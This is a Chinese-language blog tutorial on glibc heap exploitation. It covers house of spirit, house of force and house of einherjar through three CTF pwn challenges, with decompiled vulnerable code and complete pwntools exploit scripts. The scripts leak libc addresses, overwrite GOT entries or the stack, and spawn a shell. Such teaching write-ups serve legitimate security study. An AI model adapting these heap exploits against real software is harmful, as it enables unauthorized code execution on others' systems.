PWN学习之house of系列(一)

作者:Hcamael@知道创宇404实验室

准备一份house of系列的学习博文,在how2heap上包括下面这些:

house of spirit

house_of_force

house_of_einherjar

house_of_orange

house_of_lore

house of spirit

house of spirit是fastbin的一种利用方法,利用demo可参考:https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c

我通过具体的CTF Pwn题目来学习该利用方法,题目见:https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo

这题是hack.lu 2014 ctf的一道400分的32位下的Pwn题,这题原本是没有给libc的,但是我搜了下网上这题的writeup,不需要libc有两种方法,一种是假设服务器上用的是最新版的libc,然后从各个发行版的系统找libc,一个一个试,另一种是使用ret2dl-resolve,这个利用方法我准备单独写一篇博文来说,而本文主要是学习house of spirit,所以就用本地的libc,假设已知libc。

漏洞点很简单,首先要能看出一个结构体:

struct rifle {

char descript[0x19]

char name[0x1b]

char *pre_add

}

然后在sub_8048644函数中,大致逻辑如下:

add()

{

rifles *v1;

unsigned int v2;

v1 = rifle;

rifle = (rifles *)malloc(0x38u);

if ( rifle )

{

rifle->pre_add = (int)v1;

printf("Rifle name: ");

fgets(rifle->name, 56, stdin);

str_deal(rifle->name);

printf("Rifle description: ");

fgets(rifle->descript, 56, stdin);

str_deal(rifle->descript);

++rifle_num;

}

else

{

puts("Something terrible happened!");

}

结构体中name的长度只有0x1b,但是却能输入56长度的字符串,所以可以把后面的pre_add覆盖,或者把下一个堆进行覆盖

泄露内存

因为libc已知,程序没开PIE,所以只需要泄露libc地址,然后算出libc基地址

内存泄露利用的是sub_8048729函数,该函数的大致逻辑如下:

show_rifles()

{

rifles *i;

unsigned int v2;

printf("Rifle to be ordered:\n%s\n", "===================================");

for ( i = rifle; i; i = (rifles *)i->pre_add )

{

printf("Name: %s\n", i->name);

printf("Description: %s\n", i);

puts("===================================");

}

}

rifle->pre_add是可控的,把rifle->pre_add = 0x804A258-25设置为sscanf的got表地址减去25,这样Name输出的就是sscanf_got的值,并且sscanf_got->pre_add的值为0,能让该程序继续运行而不报错

得到sscanf_got的值后,可以通过libc的偏移算出libc的基地址

使用house_of_spirit进行任意地址写

house of spirit简单的来说就是free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块

所以第一步是要构造假的堆块,在该程序中,只有一个malloc(0x38),所以要构造一个size=0x41的堆块,在.bss_804A2A0地址的order_num,和.bss_804A2A4的rifle_num,一个是在free的时候自增1,一个是在rifle add的时候自增1,所以只要add 0x41次rifle,就能把rifle_num设置为0x41

chunk的size位伪造好了,现在是bypass libc对free fastbin的check,主要是会对下一个chunk的size进行check,所以不仅要伪造当前check的size,还要伪造下一个chunk的size

下一个chunk的地址是0x804A2A4+0x40=0x804a2e4,该地址是储存notice的地址,属于可控区域,代码如下:

information = (char *)&unk_804A2C0;

leave()

{

unsigned int v0;

printf("Enter any notice you'd like to submit with your order: ");

fgets(information, 128, stdin);

str_deal(information);

}

假堆块构造完成了,free了之后0x804A2A0将会加入到fastbin中,在下一次add rifle的时候malloc会返回该地址,所以0x804A2A4往下的变量都可控,这个时候我们能修改information的值,然后在leave函数会向information指向的地址写入值

这样就达到了任意地址写的目的

最终利用

能做到任意地址写,下面就很简单了,方法有很多,我使用的是重写sscanf_got地址的值为计算出的system地址

int read_action()

{

int v1;

char s;

unsigned int v3;

do

{

printf("Action: ");

fgets(&s, 32, stdin);

}

while ( !__isoc99_sscanf(&s, "%u", &v1) );

return v1;

}

当输入了/bin/sh之后,会赋值给变量s,然后传给sscanf,这时候sscanf_got的值已经被改成了system的值,所以实际执行的是system("/bin/sh")

最终达成getshell的目的,payload如下:

#!/usr/bin/env python

# -*- coding=utf-8 -*-

from pwn import *

context.log_level = "debug"

def add(name, descrip):

p.readuntil("Action:")

p.sendline("1")

p.readuntil("name:")

p.sendline(name)

p.readuntil("description:")

p.sendline(descrip)

def show_rifles():

p.readuntil("Action:")

p.sendline("2")

p.readuntil("Name: ")

p.readuntil("Name: ")

return u32(p.read(4))

def free():

p.readuntil("Action:")

p.sendline("3")

def leave(message):

p.readuntil("Action:")

p.sendline("4")

p.readuntil("order: ")

p.sendline(message)

sscanf_got = 0x804A258

fake_heap = 0x804A2A0

system_offset = 0x3ada0

p = process("oreo_35f118d90a7790bbd1eb6d4549993ef0", stdin=PTY)

name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)

add(name_payload1, "hhh")

sscanf = show_rifles()

libc_base = sscanf - 0x5c4c0

for x in xrange(0x40-1):

add("mm", "gg")

name_payload2 = "aaa" + "bbbb"*6 + p32(fake_heap+8)

add(name_payload2, "uuu")

message_payload = "\x00\x00\x00\x00"*9 + p32(0x41)

leave(message_payload)

# raw_input()

free()

# raw_input()

add("name", p32(sscanf_got))

leave(p32(libc_base+system_offset))

p.sendline("/bin/sh\0")

p.interactive()

house of force

house of force是修改top chunk size的一种利用方法,利用demo可参考:https://github.com/shellphish/how2heap/blob/master/house_of_force.c

题目见:https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200

该利用姿势是由于libc的堆管理在malloc的时候默认top chunk的size是正确合法的,所以不会去检查top chunk的size值,这就导致了一种情况,当一个程序存在可以修改top chunk size的漏洞时,我们把top chunk的size修改成0xffffffff(x86)

假设这个时候的top_chunk=0x601200, 然后malloc(0xffe00020),然后对malloc申请的size进行检查,0xffe00030 < top_chunk_size,所以可以成功malloc内存,然后计算top_chunk的新地址:0xffe00030+0x601200=0x100401230, 因为是x86环境,最高位溢出了,所以top_chunk=0x401230

然后下次我们再malloc的时候,返回的地址就是0x401238

下面,我们再通过2016年bctf的一道题目来加强对该利用方式的理解

泄露堆地址

有一个read_buffer函数:

int read_buffer(int input, int len, char a3)

{

char buf;

int i;

for ( i = 0; i < len; ++i )

{

if ( read(0, &buf, 1u)

exit(-1);

if ( buf == a3 )

break;

*(_BYTE *)(input + i) = buf;

}

*(_BYTE *)(i + input) = 0; // off by one

return i;

}

在注释里也已经标出来了,该函数存在off_by_one漏洞,会溢出一个\x00

然后存在内存泄露的是需要输入username的函数:

void welcom_user()

{

char s; // [esp+1Ch] [ebp-5Ch]

char *v2; // [esp+5Ch] [ebp-1Ch]

unsigned int v3; // [esp+6Ch] [ebp-Ch]

memset(&s, 0, 0x50u);

puts("Input your name:");

read_buffer((int)&s, 0x40, '\n');

v2 = (char *)malloc(0x40u);

name = (int)v2;

strcpy(v2, &s);

welcom((int)v2);

}

看上面的注释,计算出v2变量和s变量在栈中的距离为0x40

当我输入0x40的a时,会把变量s填充满,然后在v1的第一个字节添加字符串结尾\x00,接下来,malloc的返回值赋给v2,把\x00给覆盖掉了,所以在strcpy函数把s的值+v2的值copy到v2指向的堆中,然后在welcom函数中输出,这样获得到了堆的地址

修改top_chunk size

之后,有一个输入org和host的函数:

void sub_804884E()

{

char org; // [esp+1Ch] [ebp-9Ch]

char *v1; // [esp+5Ch] [ebp-5Ch]

int host; // [esp+60h] [ebp-58h]

char *v3; // [esp+A4h] [ebp-14h]

unsigned int v4; // [esp+ACh] [ebp-Ch]

memset(&org, 0, 0x90u);

puts("Org:");

read_buffer((int)&org, 0x40, 10);

puts("Host:");

read_buffer((int)&host, 0x40, 10);

v3 = (char *)malloc(0x40u);

v1 = (char *)malloc(0x40u);

org_static = (int)v1;

host_static = (int)v3;

strcpy(v3, (const char *)&host);

strcpy(v1, &org);

puts("OKay! Enjoy:)");

}

该函数存在和上面user函数一样的问题,我们来看看栈布局:

然后再来看看malloc两次后的堆布局:

v1储存的是org的值,如果org中没有\x00,v1中没有\x00,strcpy将会copy org+v1+host的值到堆中去,而堆中v1的size只有0x48,所以会导致堆溢出,可以覆盖到top_chunk的size,我们将该size赋值为0xffffffff

控制malloc的返回值

int new()

{

int result; // eax

signed int i; // [esp+18h] [ebp-10h]

int v2; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i

;

if ( i == 10 )

return puts("Lack of space. Upgrade your account with just $100 :)");

puts("Input the length of the note content:");

v2 = get_int();

note_list[i] = (int)malloc(v2 + 4);

if ( !note_list[i] )

exit(-1);

note_length[i] = v2;

puts("Input the content:");

read_buffer(note_list[i], v2, 10);

printf("Create success, the id is %d\n", i);

result = i;

dword_804B0E0[i] = 0;

return result;

}

在new函数中,可以控制malloc的size大小,然后我们需要考虑控制malloc跳到哪里

int edit()

{

int length;

int id; // [esp+14h] [ebp-14h]

int note; // [esp+18h] [ebp-10h]

puts("Input the id:");

id = get_int();

if ( id < 0 id > 9 )

return puts("Invalid ID.");

note = note_list[id];

if ( !note )

return puts("Note has been deleted.");

length = note_length[id];

dword_804B0E0[id] = 0;

puts("Input the new content:");

read_buffer(note, length, 10);

return puts("Edit success.");

}

有一个edit函数,可以编辑note_list指向地址的值,所以如果我们能控制note_list的值,就可以做到任意地址修改

所以我们的目的是让下一次malloc的返回值为0x804B120,这样需要在这一次malloc后,让top_chunk=0x804B118

所以根据泄露出的heap地址计算出当前top_chunk的地址,然后再计算出本次malloc的size:0x10804B118-top_chunk或者-(top_chunk-0x804B118)

泄露libc地址

按照该程序的逻辑,应该在show函数中成输出note_list指向地址的值,但是该函数的功能还未实现:

int show()

{

return puts("WTF? Something strange happened.");

}

所以就需要想别的办法来泄露libc地址了

我使用的方法的修改free_got的值为printf的值,然后在delete函数中,free(note_list[x]),note_list[x]修改成atoi_got的地址,这样就能泄露出atoi_got的值

但是因为不知道libc,所以不知道printf的值,但是因为有延时绑定,所以我们能把free_got的值修改成printf_plt+6的值

获取到libc的地址后,可以计算出system的值,然后再把atoi_got的值修改成system地址,达到getshell的目的

完整payload:

#!/usr/bin/env python2.7

# -*- coding=utf-8 -*-

from pwn import *

context.log_level = "debug"

def new_note(len,content):

p.readuntil("--->>")

p.sendline("1")

p.readuntil("content:")

p.sendline(str(len))

p.readuntil("content:")

p.sendline(content)

def edit_note(i, data):

p.readuntil("--->>")

p.sendline("3")

p.readuntil("id:\n")

p.sendline(str(i))

p.readuntil("content:\n")

p.sendline(data)

p.readuntil("success.")

def delete_note(i):

p.readuntil("--->>")

p.sendline("4")

p.readuntil("id:\n")

p.sendline(str(i))

p = process("./bcloud")

e = ELF("./bcloud")

libc = ELF("/lib/i386-linux-gnu/libc.so.6")

pause()

# leak heap

p.readuntil("name:\n")

p.send("a"*0x40)

p.read(0x44)

heap = u32(p.read(4))

print "heap addr: " + hex(heap)

# modify top chunk size to 0xffffffff

p.readuntil("Org:")

p.send("a"*0x40)

p.readuntil("Host:")

p.sendline(p32(0xffffffff))

p.readuntil("Enjoy:")

# malloc return address:0x804B120

note_list = 0x804B120

new_note(0x10, "aaa")

new_note(-(heap+0xf4-0x804B120+8), "2333")

# note_list[0] = free_got

# note_list[1] = atoi_got

# note_list[2] = atoi_got

payload = p32(e.got["free"])

payload += p32(e.got["atoi"])

payload += p32(e.got["atoi"])

new_note(0x100, payload)

# write printf address to free_got

edit_note(0, p32(e.symbols["printf"]+6))

# printf(atoi_got)

delete_note(1)

atoi_libc = u32(p.read(4))

p.readuntil("success.")

libc_base = atoi_libc - libc.symbols["atoi"]

print "libc_base: " + hex(libc_base)

# calculate system address

system = libc.symbols["system"] + libc_base

# write system address to atoi_got

edit_note(2, p32(system))

# system("/bin/sh")

p.sendline("/bin/sh")

p.interactive()

house of einherjar

house of einherjar跟house of force差不多,最终目的都是控制top chunk的值,利用demo可参考:https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c

题目见:https://github.com/blendin/writeups/tree/master/2016/tinypad

和house of force的区别是,通过off by one把最后一个chunk的pre_inuse标志位置零,让free函数以为上一个chunk已经被free,这就要求了最后一个chunk的size必须要是0x100的倍数,要不然会check下一个chunk失败,或者和top chunk进行合并操作的时候失败。

然后再伪造一个chunk,计算最后一个chunk到我们伪造chunk的距离,设置为最后一个chunk的pre_size位,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置到我们伪造chunk的地址。

接下来通过2016年Second ctf的一个题来加深对该利用方法的理解:

内存泄露

if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] )

{

free(*(void **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);

*(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] = 0LL;

writeln((__int64)"\nDeleted.", 9LL);

}

在free了一个tinypad的时候,只把size位置零了,但是却没有把储存content的地址(tinypad[16 * (v11 - 1 + 16LL) + 8])置零

然后在每次循环的时候,都会输出四个tinypad的信息:

for ( i = 0; i

{

LOBYTE(c) = i + '1';

writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL);

write_n((__int64)" # INDEX: ", 12LL);

writeln((__int64)&c, 1LL);

write_n((__int64)" # CONTENT: ", 12LL);

if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )

{

v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);

writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v3);

}

writeln((__int64)&newline, 1LL);

}

所以我们能增加4个tinypad,都申请一个0x100左右的chunk,然后释放第1个和第3个,这样就能形成unsortbin双链表,其中一个fd指向arena区域,一个fd指向另一个chunk,这样就泄露出了libc地址和堆地址

house of einherjar利用

首先是伪造一个合法的chunk,我们发现在edit分支,能控制tinypad地址的值:

if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] )

{

c = '0';

strcpy(tinypad, *(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);

while ( toupper(c) != 'Y' )

{

write_n((__int64)"CONTENT: ", 9LL);

v6 = strlen(tinypad);

writeln((__int64)tinypad, v6);

write_n((__int64)"(CONTENT)>>> ", 13LL);

v7 = strlen(*(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]);

read_until((__int64)tinypad, v7, '\n'); # 控制tinypad的值

writeln((__int64)"Is it OK?", 9LL);

write_n((__int64)"(Y/n)>>> ", 9LL);

read_until((__int64)&c, 1uLL, 0xAu);

}

strcpy(*(char **)&tinypad[16 * (v11 - 1 + 16LL) + 8], tinypad);

writeln((__int64)"\nEdited.", 8LL);

}

所以我们tinypad就是我们伪造的chunk,伪造的chunk如下:

&tinypad:

刚才泄露内存已经释放了两个tinypad,还剩第二个和第四个tinypad,这个时候我释放第四个tinypad,这样第三个第四个将会和top_chunk合并

只要经过精心计算,这个时候我们再add一个tinypad,将会获得第一个tinypad(已经被释放)的堆地址,然后利用off by one漏洞:

unsigned __int64 read_until(__int64 buf, unsigned __int64 len, unsigned int end)

{

int v4; // [rsp+Ch] [rbp-34h]

unsigned __int64 i; // [rsp+28h] [rbp-18h]

signed __int64 v6; // [rsp+30h] [rbp-10h]

v4 = end;

for ( i = 0LL; i < len; ++i )

{

v6 = read_n(0, buf + i, 1uLL);

if ( v6 < 0 )

return -1LL;

if ( !v6 *(char *)(buf + i) == v4 )

break;

}

*(_BYTE *)(buf + i) = 0; // off by one

if ( i == len && *(_BYTE *)(len - 1 + buf) != 10 )

dummyinput(v4);

return i;

}

比如tinypad 1的大小是0xf0,我们申请一个0xe8大小的内存,就会得到tinypad 1的堆,然后可以覆盖到tinypad 2的pre_size,如果tinypad2的size位是0x101,则会被off by one漏洞设置为0x100

我们计算出tinypad2的地址,然后减去tinypad的地址,计算出offset,设置为tinypad2的pre_size和伪造chunk的size位

然后我们再free tinypad2,伪造的chunk和tinypad2将会和top chunk合并,这个时候top chunk的值为tinypad的地址

bypass Full RELRO

top chunk已经被设置到tinypad地址了,tinypad+256地址开始储存着tinypad1 2 3 4的信息,所以当我们再次malloc的时候,tinypad 1 2 3 4的size和address都已经是可控的了,可以达到任意地址读,然后edit功能可以做到任意地址写

已经能任意地址读写了,正常思路就是写got表,然后getshell,但是发现程序开启了Full RELRO保护,got表将不可写

然后考虑了FILE_IO的利用方法,但是发现该程序的IO使用的都是read和write,并没有使用stdio库,故该思路也不可行

然后发现,在libc中有一个全局变量__environ, 储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了

我使用的思路是,计算出one_gadget的地址,然后把ret __libc_start_main改写成ret one_gadget,从而达到getshell的目的。

完整Payload:

#!/usr/bin/env python2

# -*- coding=utf-8 -*-

from pwn import *

def add(p, size, content):

p.readuntil("(CMD)>>>")

p.sendline("a")

p.readuntil("(SIZE)>>>")

p.sendline(str(size))

p.readuntil("(CONTENT)>>>")

p.sendline(content)

def delete(p, index):

p.readuntil("(CMD)>>>")

p.sendline("d")

p.readuntil("(INDEX)>>>")

p.sendline(str(index))

def edit(p, index, content):

p.readuntil("(CMD)>>>")

p.sendline("e")

p.readuntil("(INDEX)>>>")

p.sendline(str(index))

p.readuntil("(CONTENT)>>>")

p.sendline(content)

p.readuntil("(Y/n)>>>")

p.sendline("y")

def main():

# context.log_level = "debug"

p = process("./tinypad")

# e = ELF("./tinypad")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# leak libc and heap address

add(p, 224, "a"*10)

add(p, 246, "b"*0xf0)

add(p, 256, "c"*0xf0)

add(p, 256, "d"*10)

delete(p, 3)

delete(p, 1)

# get heap address

p.readuntil("# CONTENT: ")

heap = p.readline().rstrip()

heap += "\x00"*(8-len(heap))

heap_base = u64(heap) - 0x1f0

print "heap_base address: " + hex(heap_base)

# get libc address

p.readuntil("INDEX: 3")

p.readuntil("# CONTENT: ")

libc_address = p.readline().strip()

libc_address += "\x00"*(8-len(libc_address))

libc_base = u64(libc_address) - 0x3c4b78

print "libc_base address: " + hex(libc_base)

# make top -> tinypad(0x602040)

add(p, 232, "g"*224 + p64(heap_base+240-0x602040))

delete(p, 4)

payload = p64(0x100) + p64(heap_base+240-0x602040) + p64(0x602040)*4

edit(p, 2, payload)

delete(p, 2)

# modify free_hook -> one_gadget

gadget1 = 0xf1117

gadget2 = 0xf0274

gadget3 = 0xcd1c8

gadget4 = 0xcd0f3

gadget5 = 0x4526a

gadget6 = 0xf66c0

gadget_address = libc_base + gadget1

add(p, 0xe0, "t"*0xd0)

payload = p64(232) + p64(libc_base + libc.symbols["__environ"])

payload += p64(232) + p64(0x602148)

add(p, 0x100, payload)

p.readuntil("# CONTENT: ")

stack = p.read(6)

stack += "\x00"*(8-len(stack))

stack_env = u64(stack)

print "env_stack address: " + hex(stack_env)

# pause()

edit(p, 2, p64(stack_env-240))

edit(p, 1, p64(gadget_address))

p.readuntil("(CMD)>>>")

p.sendline("Q")

p.interactive()

if __name__ == '__main__':

main()

总 结

本篇文章分析了

house of spirit

house_of_force

house_of_einherjar

三种利用方法,还剩两种

house_of_orange

house_of_lore

其中,house_of_lore没发现有具体的实例题目,所以暂时不做研究

而house_of_orange涉及的知识点过多,所以会单独写一篇

house of系列第一次出现是Phrack2009年的杂志上,一共出现了下面几种:

The House of Mind

The House of Prime

The House of Spirit

The House of Force

The House of Lore

最后三种在how2heap上都有,前面两种,下次再说

参 考 链 接

https://github.com/shellphish/how2heap

https://github.com/ctfs/write-ups-2016

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

http://www.phrack.org/issues/66/10.html

往 期 热 门

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20180131G0W21X00?refer=cp_1026

同媒体快讯

相关快讯

扫码关注云+社区